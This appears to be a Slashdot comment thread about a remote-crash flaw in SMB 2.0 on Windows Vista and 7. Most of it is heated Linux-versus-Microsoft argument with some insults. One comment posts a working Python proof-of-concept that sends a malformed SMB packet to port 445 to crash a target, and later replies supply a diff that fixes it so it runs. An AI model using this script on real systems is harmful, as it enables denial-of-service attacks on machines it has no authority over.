If I build my own car, I really don't have any feelings about Ford, unless Ford decides that I cannot implement roundness in my wheels because they hold a patent on round wheels. At that point, I'd probably be pissed and post nasty things on the automotive section of slashdot when Ford is mentioned. (grin)

Re:Please grow up, you're driving us away

[beerbear]

Except that pretty-much flawless OS was leading the list of most-vulnerable OSes in that IBM paper someone posted a couple of days ago.
Now, Commodore BASIC, that was an OS.... *dreams*

Re:Please grow up, you're driving us away

[SlashV]

Try setting a good example by not lecturing about what people should or should not do in order to get your approval. You sound like one of those condescending *NIX users. If you don't like it here: go somewhere else!

Re:Please grow up, you're driving us away

[slim]

I'm also an adult software engineer.

But I've used Linux and AIX for the last 12 years, and believe me, from my perspective, MS fanboys are guilty of all the same stuff you're seeing in Linux fanboys.

Re:Please grow up, you're driving us away

[should_be_linear]

I cannot join in with the Linux community because of you people.

Live with it, as long as there is constant flow of bullshit from one side, there will be also from the other. Especially in case like this, I mean only yesterday BestBuy employees learned about great security Windows has, comparing to Linux, and now this...

Re:Please grow up, you're driving us away

[Anonymous Coward]

More that it represents one whole religion rather than a denomination. But the OP isn't wrong. The Slashdot community mentality is common in every linux user I know, not unlike how the majority of jews follow the torah or christians follows the bible or muslims follows the qur'an.

And I, like the OP, resist linux because of those people.

Re:Please grow up, you're driving us away

[gillbates]

They're not "lusers", they just have priorities different from your own.

You mean like, just getting work done? Or perhaps playing video games? Surfing the web?

Sadly, Windows fails on all three accounts. Not because you technically cannot do these things with Windows, but because the *average user* can't do them for very long with a Windows box. Windows is easy to learn - but requires and *expert* to keep running. Linux requires an expert to install, but is very easy to use from that point on.*

Worse, Windows makes them difficult for the people around them - they assume we (the "experts") know everything there is to know about a provably obsolete operating system, and expect that we'll fix their problem for free, in 10 minutes. But it gets worse. Windows users infuriate those of us who actually know a thing or two about computers:

1. No, it is *NOT* normal for a computer to crash on a regular basis.
2. Getting infected with a virus is only inevitable for Windows users. Explaining to a Windows user that my OS is more secure by design leaves them with blank stares. They simply can't comprehend the notion of a computer system that doesn't need antivirus software. And we have Windows to thank for this - Mac zealots don't seem to have this handicap.
3. My wife has no problem using Ubuntu. But I have relatives who insist on using Windows, only to call me for support when something *BAD* happens to their Windows install.

As a Linux user, I can appreciate why non-technical people are drawn to Windows. But the very existence of this poorly designed piece of software keeps the rest of us up at night. Windows is like the abusive boyfriend:

• Even though she knows better, she goes back to her abusive boyfriend, because he's familiar, and *GOSH* he's got that cute {smile|eyes|whatever}.
• When the {abuse|crash|virus} happens, she just calls in the {cop|geek} to fix her problem. The {cop|geek} hauls the {boyfriend|computer} back to the {station|basement} to be fixed, and the girl gets to pay for it with a "Thank you" and a smile.
• Lather, rinse, repeat

I used to wonder why the cute girls in HS would be attracted to the jerks. Now I see the same parallels between the average user and Windows. They know, intellectually, that they are going to have problems, yet continue the relationship because it is easier to them than learning something new.

Which says a lot about the kind of person who chooses Windows. They're probably attractive, but not very smart, and probably have self-esteem problems.

Re:Please grow up, you're driving us away

[jimshatt]

I read (and enjoy) Slashdot AND use Linux. I'm perfectly capable of ignoring childish behavior like the dollar-sign thingy, and I suggest you ignore it too instead of getting angry about it.

My advise: join the linux community. Have fun. Read slashdot, but don't get angry about childish comments. Relax. Most linux users are pretty helpful when you need help, IMO even more than users of other OS's in that they tend to share more information (like HOWTOs etc).

BTW, it's not as though linux bugs don't get posted on slashdot, but they do tend to get milder reactions. We're only human (most of us anyway).

Re:Please grow up, you're driving us away

[DrXym]

The irony is that the zealots who make condescending remarks like RTFM, luser, Micro$oft etc. have probably done more to scare people away from Linux than Microsoft. Fortunately Linux is becoming more mainstream and that has a lot to do with non-intimidating and friendly distributions like Ubuntu. I think some zealots are probably angry about that too, that people can finally use Linux without needing to RTFM.

Re:Please grow up, you're driving us away

[Anonymous Coward]

The pubertal masses of Slashdot != The Linux community

Actually it goes way beyond slashdot, you can see stupid "M$" bashing going on in any Linux-oriented forum, even including sometimes the linux-kernel mailing list.

Linux users have a huge hardon for Bill Gates and Microsoft, it's just a fact.

Re:Please grow up, you're driving us away

[TheBilgeRat]

Also, don't make the mistake of assuming that Linux is an organized, centralized movement with some form of control emanating from the center.

think herding cats. One of the reasons I love it. I use windows at work (because that's what we use), and linux at home. I tinker with linux cos I like to do so. An OS is simply a tool, and bashing one over the other and arguing about who has the best script-fu or biggest e-penis is an exercise in ignorance -- but can, at times, be hilarious.

Re:Please grow up, you're driving us away

[Anonymous Coward]

Dear Anonymous Adult, I can just second you on this feeling. I was also fed up with some Linux fan kiddies bashing Microsoft (but not only) everytime they could. Since I was searching for a system with the same technical philosophy I found FreeBSD, and now I'm very happy with both the system and the community. Also I find the documentation much more clear and easy to find/understand.

So if you still would give a try to Unix-like systems, I recommend you to give a chance to a BSD one, both for the technical part and for the much mature community.

P.S for trolls: When I speak about BSD community I'm not speaking about Theo De Raadt flaming for himself satisfaction, I'm speaking about real hackers who helps beginners in the mailing lists.

Re:Please grow up, you're driving us away

[natehoy]

Agreed. It's the modern-day equivalent of going to the Colosseum and watching the (insert temporally-appropriate minority group here) being fed to the lions.

Given that there are Microsoft drinking games around vulnerabilities, I wonder how many drinking games exist that have you drink in inverse proportion to the time it takes for the first "M$ SUXXORZ! (insert alternative OS here) RULZZ D00D!" post to appear in response to a report of said vulnerability, or in direct proportion to the number of them?

Re:Please grow up, you're driving us away

[CannonballHead]

Sadly, Windows fails on all three accounts. Not because you technically cannot do these things with Windows, but because the *average user* can't do them for very long with a Windows box. Windows is easy to learn - but requires and *expert* to keep running. Linux requires an expert to install, but is very easy to use from that point on.*

Hmmmm. Except when freezes occur. Due to either the OS or various drivers. Just like the freezes that occur due to the OS or drivers in Windows...

Worse, Windows makes them difficult for the people around them - they assume we (the "experts") know everything there is to know about a provably obsolete operating system, and expect that we'll fix their problem for free, in 10 minutes. But it gets worse. Windows users infuriate those of us who actually know a thing or two about computers:

Infuriate? So, ignorance is infuriating? Maybe this is the attitude that the OP was referring to?

No, it is *NOT* normal for a computer to crash on a regular basis.

Not anymore, anyways... I agree. Neither Windows (since XP, at least SP3) nor Linux crash much.

Getting infected with a virus is only inevitable for Windows users. Explaining to a Windows user that my OS is more secure by design leaves them with blank stares. They simply can't comprehend the notion of a computer system that doesn't need antivirus software. And we have Windows to thank for this - Mac zealots don't seem to have this handicap.

That's because Mac zealots think their OS is unbreakable, too (nevermind the fact that I've seen numerous crashes with Mac OSX). Regarding "inevitable for Windows users," that's simply wrong. I haven't had a virus on my computer since, oh, around nine years. Is Unix more secure by design? Yeah. But users that open smilie packs and respond to Nigerian princes are still going to have their systems messed up. Unless Unix somehow detects ignorance or stupidity and stops it?

My wife has no problem using Ubuntu. But I have relatives who insist on using Windows, only to call me for support when something *BAD* happens to their Windows install.

Mine doesn't either, but finds Windows easier. And, to tell the truth... flash video and audio (youtube? pandora?) run better in Windows, networking is somewhat flaky in Ubuntu sometimes (it doesn't like getting an IP address from our network all the time, sometimes I have to disable/enable)... all in all, Windows actually has provided her with a better experience than Ubuntu 9.04. More secure or more stable? Maybe not. But when you use the computer for 5 hours a day and have a techie husband that knows about viruses and whatnot, then why suffer through a less-easily-used OS for your daily tasks?

Re:Please grow up, you're driving us away

[agnosticnixie]

The only place where I've ever seen RTFM being thrown around non-ironically was the Debian boards. Debian is not merely Linux, it's linux with the arrogance of the GNU Project.

Re:Please grow up, you're driving us away

[Anonymous Coward]

Mod parent up. This is most definitely _not_ the "Linux community". In fact, as much as it is easy to generalize, I'd say that there really isn't a coherent "Linux community". There are many Linux communities, all with different interests and agendas. Sure there are the M$ bashers, the open source/free software evangelists (some of whom would flame me for equating the two), the libertarians, and the meme swappers out there. There are are command line snobs and distro evangelists. There are also folks who are just passionate about obscure software features or get a buzz from helping people (or, in some cases, a nice ego trip).

I'll let you into a secret though - you don't have to "join" any of them to use Linux. Most distros are free in both senses of the word and you don't have to sign anything, profess to any beliefs, join any cults, or even hang out with other Linux users to try it out.

Re:Please grow up, you're driving us away

[TheBilgeRat]

That would be a brutal, short-lived game ending in either unconsciousness or a failed liver.

Re:Please grow up, you're driving us away

[Anonymous Coward]

While the OP is a dick ("Hi. I'm an adult."), the point it makes is, to some degree, valid. It doesn't matter if the entirety of the Linux using world is not like a lot of the idiots on here. Vocal members do tend to define how something is perceived. I read the OpenBSD mailing lists, for example, and the climate there is one of extreme hostility. I have no desire to use OpenBSD due to the fact that its loudest members are, by and large, complete assholes. I know there are better ways to evaluate an operating system, but this plays a large role for me.

I'm a Linux user, but I still cringe at how some people act so childish. The summary for this story was particularly bad. I don't care one way or the other if people use Linux (why would I?), but I do think some of the more immature posters might want to think about how they look; the kind of people who are so insufferable do tend to be those who want others to convert, and this is the equivalent of telling me I'm going to hell unless I convert to your religion. All it does is push a person away.

Re:Please grow up, you're driving us away

[Anonymous Coward]

>>>If you want to attract intelligent, grown-up people to Linux

Pray tell me, why would we want to do that and spoil all the fun? Intelligent grown-ups can keep growing up intelligently until they die, for all we care. Now please excuse me, I have a backlog of unread Abstruse Goose.

Re:Please grow up, you're driving us away

[shutdown -p now]

I'm sorry, Sir. This is not the Linux community, this is the Slashdot community.

If you want the Linux community, go to http://www.kernel.org/

http://kernel.org/ (specifically, LKML) would be the Linux developer community. Linux community as a whole is a very big thing, but Slashdot is definitely a part of it. Not saying that every single person here is a Linux advocate, but they are certainly in majority.

Re:Please grow up, you're driving us away

[Draek]

So what OS do you use? because even Amiga and BeOS have their own share of fantards, BSDs' are roughly the same as Linux, and for Windows and OSX they're a dime a dozen.

Minix, perhaps?

Re:Please grow up, you're driving us away

[DaMattster]

Hi. I'm an adult. I work as a software engineer. I cannot join in with the Linux community because of you people. You're just *too awful*. Instead of accepting that this stuff happens and it's bad, you childishly nerdsnort and start writing Microsoft with a dollar sign instead of an S, acting as if this stuff is some amazing manifestation of idiocy rather than a likely consequence of using a mainstream OS developed with time and budgetary constraints. It's going to have stupid bugs. Get the fuck over it. I would like to join in with the Linux community, but all I ever hear is this pathetic nyerr-nyerr-nyerr garbage. If you want to attract intelligent, grown-up people to Linux you need to stop doing certain things. 1) Don't act as if users of other operating systems are less intelligent than you. It turns out that Linux-advocacy isn't the entire world, and that leaders in different fields (or even this one!) might be using Windows. They're not "lusers", they just have priorities different from your own. 2) Don't act as if Linux hasn't had equally stupid stuff happen to it. Yes, it's a different process altogether, and I would dare say that bugs are less likely due to its open source nature, but they still happen. One that I can remember off the top of my head is Debian's guessable SSL keys. 3) Tryâ"for ten minutesâ"to give the impression that half of your time isn't devoted to bashing an OS you believe is irrelevant. 4) For good measure try cutting out the xkcd worship and meme-spouting. We might be able to relate to you people if you acted as if you weren't cut from the same distasteful mold.

Well, there is always BSD. Yes, we still don't like Microsoft but we recognize that, at least Microsoft, respects us. Some of their internal stuff uses BSD. But, I digress, I am way off topic.

Re:Please grow up, you're driving us away

[Anonymous Coward]

Get the fuck over it.
Um yeah, way to take the moral high ground there.

Re:Please grow up, you're driving us away

[Anonymous Coward]

We might be able to relate to you people if you acted as if you weren't cut from the same distasteful mold.

You people?? What do you mean "you people" huh?

Re:Please grow up, you're driving us away

[Anonymous Coward]

Hi, Adult.

Guess what? You'll die before us and we'll take over.

Cheers.

Re:Please grow up, you're driving us away

[Anonymous Coward]

I'm sorry, Sir. This is not the Linux community, this is the Slashdot community.

If you want the Linux community, go to http://www.kernel.org/

http://kernel.org/ (specifically, LKML) would be the Linux developer community. Linux community as a whole is a very big thing, but Slashdot is definitely a part of it. Not saying that every single person here is a Linux advocate, but they are certainly in majority.

Actually I would like to know if that's true. Are linux users a majority on slashdot? Also what defines a linux user? 51% of their time in linux? More / less? Is there heart with linux even if their job makes them use windows?

Re:Please grow up, you're driving us away

[Anonymous Coward]

"I cannot join in with the Linux community because of you people." - Get the fuck over it then.

"You're just *too awful*." - so screw us and learn Linux by reading the docs [if you aim to learn it]. Because you are an adult. Because you work as a software engineer and are supposed to be used to read docs.

"If you want to attract intelligent..." - who said we do? You can use Linux, but you don't have to if there are any reasons for that.

"1) Don't act... 2) Don't act..." - don't act like an old fart. Don't treat anonymous people on Internet like you treat your own kids. Thank you.

Re:Please grow up, you're driving us away

[ZarathustraDK]

1) Don't act as if users of other operating systems are less intelligent than you. It turns out that Linux-advocacy isn't the entire world, and that leaders in different fields (or even this one!) might be using Windows. They're not "lusers", they just have priorities different from your own.

Slashdot is not "teh Linux-community". It's the cauldron of criticism, the purgatory of sarcasm, the end of beliefs. Hello Kitty would come in in one end, and five minutes later exit in the other end feeling like a suicidal whore. THAT'S Slashdot. And some of us like it this way.

2) Don't act as if Linux hasn't had equally stupid stuff happen to it. Yes, it's a different process altogether, and I would dare say that bugs are less likely due to its open source nature, but they still happen. One that I can remember off the top of my head is Debian's guessable SSL keys.

Difference being that black-box development is asking for it, while whitebox-development actually tries to provide the best environment for stuff like that not to happen.

3) Tryâ"for ten minutesâ"to give the impression that half of your time isn't devoted to bashing an OS you believe is irrelevant.

*I step away from the screen to not bash an OS I find irrelevant*

4) For good measure try cutting out the xkcd worship and meme-spouting. We might be able to relate to you people if you acted as if you weren't cut from the same distasteful mold.

What's wrong with advanced humor and the soul of the Internet? It is you "people" who are hard to relate to, you so-called breadwinners who are exceptionally caught up in the mundane with priorities like mortgage and corporeal phallos-symbols of a certain value (counted in pieces of paper and metal that SOMEONE made up a long time ago to ease the process of trade, but which in these days have become an end unto itself) taking first place over *unimportant stuff* like blatant misuse monopoly, personal freedoms etc.

Get some hard skin, grow a spine and bitch in a clever way like the rest of us. You're not going to get a Ferrari anyway.

Re:Please grow up, you're driving us away

[Anonymous Coward]

it doesn't matter. you don't know the secret handshake.

Re:Please grow up, you're driving us away

[walterbyrd]

I agree with everything you posted. But I would like to add that msft zealots are just as bad, as are apple zealots, and sun worshipers.

Ten years ago, slashdot may have been over-run with such linux zealots, but not anymore. In fact, today, it's just the opposite. If there is a serious msft sore point: expect the slashdot discussion to be *flooded* with msft shills. I've seen it many times.

Re:Please grow up, you're driving us away

[Anonymous Coward]

Wow.

q.e.d.

Re:Please grow up, you're driving us away

[Anonymous Coward]

Great start, but keep going.

Pro-Tip 3: ban David Gerard

That asshole is close friends with Roy Schestowitz who posts heaping pant-loads of this childish zealot garbage on a daily basis. Where do you think he got this story from?

Re:Please grow up, you're driving us away

[AliasMarlowe]

Hi. I'm an adult.

Really? So why post like just another spotty-faced AC?

I would like to join in with the Linux community

You're looking in the wrong place. There are many "linux communities", but this is not really one of them. This is /. which is infested with opinionated fanboi-types (linux & mac more than windows). And a few voices of reason, often drowned out.

Re:Please grow up, you're driving us away

[Anonymous Coward]

Slashdot has nothing to do with Linux. Most people here don't even use Linux. The Slashdot server logs show about the same OS distribution as any random web site.

Re:Please grow up, you're driving us away

[Anonymous Coward]

What's wrong with advanced humor and the soul of the Internet?

XKCD, advanced humor, soul of the Internet, ha ha ha. Good one.

Re:Please grow up, you're driving us away

[Anonymous Coward]

I cannot join in with the Linux community because of you people.

I'm sorry, Sir. This is not the Linux community, this is the Slashdot community.

If you want the Linux community, go to http://www.kernel.org/

I would like to join in with the Linux community, but all I ever hear is this pathetic nyerr-nyerr-nyerr garbage.

If you look on kernel.org, there is none of this garbage. You are mistaken.

However, the fact that this confusion exists (this is not the first time I have seen it) is cause for pause. It appears to me that the slashdot community, for better or for worse, does form a good portion of the the public face of the linux community. Just something to consider.

Re:Please grow up, you're driving us away

[miffo.swe]

1. Most Linux users are also heavy Windows users and know both sides equally well. Youre not stupid if you use Windows and i dont think i have seen anyone being accused of that anywhere except when someone trolls.
2. Linux has had some bad holes but i havent seen many Linux companies strutting around badmouthing Windows for all they can. The fact is that every single salesperson for Linux ive met has either declined to say anything about Microsoft or just said theyre ok. Its the audacity of Microsoft to proclaim they are the safest and best in the universe and then fall on the goal line with holes like theese. Microsoft has enormous amounts of cash and still doesnt seem to do any unit testing or fuzzy tests on their protocols and software. Microsoft should be tenfold better for the buck, not equal or even worse.
3. Most of my personal Microsoft criticism comes from my work as a network admin. Its all those marketing decisions that trumps good engineering all the time that makes me see red. I battle Microsofts marketing department every single day and i feel truly sorry for the poor sods down in engineering. Im also furius about the fact that Microsoft spends so much time trying to kill my personal favourite OS. I dont want Windows to disappear, i want Microsoft to leave Linux the freck alone. The hostility comes from one side only and my aversion for Microsoft is an answer directly to it.
4. The meme-spouting is just for fun and xkcd is not the posterchild for linux, its just plain fun for a geek.

As for treating linux like a community, thats where you, Microsoft and most other fail. There is no community, at all. We have as much in common as you have with a random Windows user. Do you feel a common bond with anyone using Windows? There can be small communitys around some projects but consensus is very rarely achieved. Take two linux users and put them in the same room and they have absolutely nothing in common except for that they happens to use Linux. Thats what makes Linux hopelessly hard to kill for Microsoft.

There isnt a community for you to join, it doesnt exist. Find a project you like and where the people seems to correlate with your values and have fun.

Re:Please grow up, you're driving us away

[gillbates]

Unless Unix somehow detects ignorance or stupidity and stops it?

Yes. In the first place, even the stupidest of UNIX users won't get a virus by surfing a web page or opening their email.

Think about that for a moment: Why would anyone suspect that merely *reading* data - a web page - would infect their computer?

Yet this functionality was *explicitly* designed by MS into a browser inseparable from the OS. It doesn't make sense from a security perspective. It doesn't make sense from a user perspective - they think they're reading data, not "executing the web page". It only makes sense when you realize that one of Microsoft's goals was to create the "stupid user." MS goes to great lengths to hide the internal details of computer operation from the user. The result is even those of average intelligence become "stupid users" because MS deliberately discourages them from learning anything about how their systems actually work. Instead, the user is supposed to remain blissfully naive about the consequences of their actions, and instead concentrate on how flashy the GUI is. Well, Microsoft has succeeded in this regard. The rest of us are left to pay the consequences.

The end result is Microsoft deliberately architects security holes into their systems, intentional or not. Even those users who want to be conscientious about security find it difficult to do so because MS deliberately hides the actual operation of the computer from the user. Instead, they present the user with a model which is dangerously naive. Combine the two, and you get the perfect storm: users who don't know any better doing insecure things on an OS which, by design, subordinated security to usability.

To use UNIX, one must have a rudimentary understanding of what they are actually doing. This element of design keeps people from practicing insecure behaviors. Sure, my mother _could_ run a shell script which cleaned out her home directory. That is, if she knew how to run shell scripts in the first place. Someone astute enough to be doing "dangerous things" in UNIX usually has enough knowledge to know better. But better yet, the system is discoverable - they can learn how the system works if they have the desire. The closed, proprietary, binary-only system configuration done by Microsoft discourages independent investigation and discovery.

What it really comes down to is that security is easy for someone who knows how their computer works. It doesn't surprise me that *YOU* haven't had a virus. You're probably smart enough to know better, as your post mentions. But consider the average person, with no preconceived notions about what a computer is, or how it is supposed to work. Their notion of how a "computer" works is formed largely by the Microsoft model: click on everything, buy an AV suite, and throw away your computer every few years.

Re:Please grow up, you're driving us away

[cwrinn]

It's pretty pathetic that such visceral complaints are keeping you from collaborating in such an intelligent and engaging community. Perhaps you should reevaluate your stance on this after some deep thought.

Re:Please grow up, you're driving us away

[Ash-Fox]

However, the fact that this confusion exists (this is not the first time I have seen it) is cause for pause.

Not really. I find plenty of people who think the only way to turn a computer on and off is by pushing the monitor power button. I've tried to find where they learned this behaviour, even enquired into it and they don't know themselves (No, they are not Mac users). The fact people end up randomly assuming stuff does not cause me to pause.

It appears to me that the slashdot community, for better or for worse, does form a good portion of the the public face of the linux community.

I don't think so, majority of Linux users I know don't even know of Slashdot and the majority of Windows users I know don't know of Slashdot either. I don't see how the average user comes into contact with Slashdot, even when Linux is involved. I'm sure there are instances of the odd individual, but as a whole, I don't see Slashdot as comming close as where people go to for the source of Linux community stuff.

Re:Please grow up, you're driving us away

[Ash-Fox]

Are linux users a majority on slashdot?

From http://www.indopedia.org/Slashdot_subculture.html

Some claim that browser statistics show that a majority of Slashdot posters in fact don't run Linux but instead Microsoft operating systems.

Re:Please grow up, you're driving us away

[socceroos]

That's a bit depressing to hear. I must disagree with you however. I don't think that you should just frame the Linux community by the Slashdot crowd - I also know many Linux users and advocates. Very few of them act in the way the OP describes. Given, some do - but they are the definite minority. If you want a little peek into what the Open Source community is really like then I suggest you go take a look at this link and then come back and tell me what you think. This is what really goes on.

http://www.kdenews.org/2009/09/08/third-plasma-summit-lifts-kde-desktop-higher-grounds

Its fun, vibrant and interesting - I can attest to that. Please don't listen to angsty adolescents spouting stuff because it gives them credibility in their silly little circles. The real community is a blessing. I love it.

Re:Please grow up, you're driving us away

[QuietObserver]

Well said. I wish I had points (did yesterday, but used them all) so I could soften the undeserved blow of those Troll mods your first post received, since that was also as well stated and reasonable, attacking the issues rather than the person. I only wish more people had your mindset in situations like this. Fortunately, you also have the courage to stand back up when you're down. Thanks, again.

Re:Please grow up, you're driving us away

[ajlisows]

I cannot join in with the Linux community because of you people. You're just *too awful*.Instead of accepting that this stuff happens and it's bad, you childishly nerdsnort and start writing Microsoft with a dollar sign instead of an S, acting as if this stuff is some amazing manifestation of idiocy rather than a likely consequence of using a mainstream OS developed with time and budgetary constraints. It's going to have stupid bugs. Get the fuck over it.

I would like to join in with the Linux community, but all I ever hear is this pathetic nyerr-nyerr-nyerr garbage.

I do agree with a lot of things that you said, except for the main point. If you are truly the mature adult here you should be able to use the best tool for the job even if others who use it act like complete idiots. Most of the people you speak of aren't the ones doing hard core Linux development. There are some very brilliant, mature, and overall decent individuals in the Open Source Community. Heck if you really want to help, bring your Software Engineering skills and your open mindedness to the community. You'll help it grow in two ways!

Re:Please grow up, you're driving us away

[Anonymous Coward]

There were "non-intimidating and friendly" Linux distros long before Ubuntu came around. I think Fedora has helped Linux become more "mainstream" than Ubuntu has, frankly.

Re:Please grow up, you're driving us away

[Anonymous Coward]

Thank you, this perfectly sums up my usual "Open-Source zealots" thinking.

Re:Please grow up, you're driving us away

[Slashcrap]

I would like to join in with the Linux community

Why? Nobody asked you to.

Seriously, answer my fucking question.

Re:Please grow up, you're driving us away

[Anonymous Coward]

Why would anyone kowtow, like you are doing, to a commercial enterprise unless you are a vested employee or other shareholder?

Re:Please grow up, you're driving us away

[Adam Jorgensen]

Meh. Your post fills me with a desire to say: nyerr-nyerr-nyerr Which is a first for me.

Re:Please grow up, you're driving us away

[commodore64_love]

>>> I cannot join in with the Linux community because of you people..... [stop] acting as if this stuff is some amazing manifestation of idiocy rather than a likely consequence of using a mainstream OS developed with time and budgetary constraints. It's going to have stupid bugs.
>>>

Yes. But then there's Mac OS 10.6 which is pretty-much flawless, so really there's no excuse for Microsoft not to be just as capable as Apple when it comes to producing a bug-free OS.

Re:Please grow up, you're driving us away

[Anonymous Coward]

Let me guess, you're chief architect for windows 7?

  I personally welcome our new mature windows shilling overlords, nyerr nyerr nyerr.

Re:Please grow up, you're driving us away

[Anonymous Coward]

Hi. I'm an adult.

I don't believe you.

Re:Please grow up, you're driving us away

[tyroneking]

You sir, are a moron, who has clearly never used Windows and Microsoft Office in any serious way. If you had you would too would be pig sick of an OS that essentially begs to be infected with viruses and malware (as happened to my Uncle very recently), insists on replacing every hand typed punctuation character with a 'smart' equivalent (ruining the 'release notes' provided to me by a third party software implementor), helpfully allows anti virus software to delete my logfile analysis toolkits, etc.
Linux does none of this.
The Story was an attempt at humour because for an OS that we have to PAY FOR this sort of crap shouldn't happen.
Debian SSL keys? That was detected and fixed in short order - Windows remote BSOD, when will that be fixed?
If you want to join the community, do not post as Anon - and appreciate that properly developed software does not have stupid bugs like this. Unless you write it I guess..

SMB is firewalled ?

[viralMeme]

"And not exploitable out of the box since SMB and SMBv2 are both firewalled"

What do you mean, is this firewall the software one built into Vista or an external one. If so thn it's relying on the same TCP/IP stack to protect it.

Re:SMB is firewalled ?

[RalphSleigh]

My understanding is this a protocol based, rather than TCP attack (the proof uses a normal python socket to send some data), so if the firewall eats the packet instead of letting the SMB service get it, the PC will be fine.

Re:SMB is firewalled ?

[VGPowerlord]

"And not exploitable out of the box since SMB and SMBv2 are both firewalled"

What do you mean, is this firewall the software one built into Vista or an external one. If so thn it's relying on the same TCP/IP stack to protect it.

Yes, but SMB2 is a higher level protocol than TCP or IP. In network stacks, received packets are processed from the bottom up.

In OSI terms, received packets are processed like this: physical, data link, network, transport, session, presentation, application. TCP and IP live at the middle layers (3 and 4). SMB lives in the upper layers (5-7).

For all who want a more technical summary of TFA:

[Seth Kriticos]

Vulnerable systems are all with SMB2 drivers: Vista, W7 and probably Server 2008

The exploit (which is actually ridiculously simple) goes as follows:

#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA from socket import socket
from time import sleep

host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()

Current problem solution: disable the SMB protocol on your infrastructure..

Now please excuse me, I have go and play a bit with our network admin.. /joke

Re:For all who want a more technical summary of TF

[Anonymous Coward]

I needed to change a few things to get it to work for me.

I added "import socket" and changed "socket()" to "socket.socket(socket.AF_INET, socket.SOCK_STREAM)"

Re:First Post

[Anonymous Coward]

Hardly

The Drinking game....

[NoYob]

Don't play it using hard liquor!

Ooohhhhh, my head.

Re:First Post

[Anonymous Coward]

Or to be more apt (for slashdot)... some people prefer Ford, some prefer Dodge, others still prefer Toyota. Gas is better for some applications, while Diesel is better for others, while electric is better for others.

When a new car line comes out, new defects are to be expected on occasion. Sometimes there are even defects present that were fixed in previous models.

Re:For all who want a more technical summary of TF

[Anonymous Coward]

--- Smb-Bsod2.py 2009-09-08 09:35:58.000000000 -0500
+++ Smb-Bsod.py 2009-09-08 09:22:12.000000000 -0500
@@ -1,6 +1,7 @@
#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA from socket import socket
+import socket
from time import sleep

host = "IP_ADDR", 445
@@ -22,7 +23,7 @@
"\x30\x30\x32\x00"

)
-s = socket()
+s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(host)
s.send(buff)

Re:Woo!

[Sethb]

I love it when Slashdot can't post an accurate headline. This is a flaw in SMB 2.0, which is present in Windows Vista, Windows Server 2008, Windows 7, and probably Windows Server 2008 R2 as well. This is not new to 7, it's a common flaw in all the implementations of SMB 2.0. XP isn't affected because XP can't speak that protocol.

"RE"-introducing?

[WED Fan]

The article makes it seem like it hasn't been in Windows since Windows NT and that Windows 7 is the first time it's reappeared. Seriously, Vista has it.

Is this a case of "It's after midnight, must post another slam on Microsoft, even if we have twist and stretch like taffy to make the case"?

It wouldn't be so bad but the body of the submission is incredibly slanted, almost more than some of the replies.

Re:"RE"-introducing?

[David Gerard]

Yeah, reading error on my part. Sorry about that. Let's give Vista credit where it's due!

Re:"RE"-introducing?

[Anonymous Coward]

Windows 7 is just an update to Vista, being sold to people who have little technical knowledge as an entirely new operating system.

Re:"RE"-introducing?

[moranar]

So you mean the problem is _less serious_ by the fact that it's been on _more_ Windows versions than stated? Maybe you mean that MS has said 'it's not a problem because this and that?'

Re:"RE"-introducing?

[jedidiah]

You make it sound like a gaping security hole is alright just because it's been in the product long enough that people might have forgotten about it.

If anything, this makes it sound like Windows 7 is the same old crap and that once again we have empty promises from Microsoft claiming that they will do things right this time.

Windows users are like domestic abuse victims.

Re:"RE"-introducing?

[David Gerard]

But Macs cost too much, and Linux is too hard. And Microsoft only hits me because he loves me.

Re:"RE"-introducing?

[WED Fan]

No, I'm saying that to bring this up as some great sensationalist, "look at what they just did" kind of thing, this really should have been brought up 3 YEARS AGO!!!

Re:"RE"-introducing?

[Anonymous Coward]

Funny, I could say the almost same thing about your thoughtless copy-pasta.

This brain dead Microsoft bash is just an update to previous MS bashes, being sold to you by people who have no actual technical knowledge of the product itself, and don't know it is an entirely new operating system.

Re:"RE"-introducing?

[LearnToSpell]

Sometimes we don't know things until we know them, alas.

Re:"RE"-introducing?

[__aasqbs9791]

Yeah, except his would be correct and yours would be wrong. But we can't expect anything more from someone afraid to use their real user name.

Re:"RE"-introducing?

[Bigjeff5]

I think the point is that Vista has been around for a couple of years now, and it's obviously not the "OMGWTFBBQ" issue some anti-Microsoft folks think it is. If it were, there would have been a big stink about all the remote BSODs in Vista.

All I hear are crickets, so perhaps the way Vista and 7 handle this is different than the way 2000 did? Perhaps in a way that makes them less likely to crash? Maybe? Possibly?

Not to say it isn't an issue, it most definitely is, but it's obviously not the big issue people are trying to make it out to be.

Re:"RE"-introducing?

[neumayr]

Not trying to defend the parent's particular style of discussion, but that's not true.
Posting with an alias gives you an identity in the context of this site, as people can read previous comments and get a clearer picture of the person behind the post. Knowing a poster's true birth name, email address and phone number doesn't really help you in the context of a slashdot discussion, by far not as much as reading their previous posts at least. It just makes the person easier to harass.
I like that forums/blogs or whatever you might call them are kind of self contained, and nobody has to defend whatever they might have said on another site.

Re:"RE"-introducing?

[Anonymous Coward]

He's right so live with it, jack ass.

Re:"RE"-introducing?

[thetoadwarrior]

QQ MOAR!

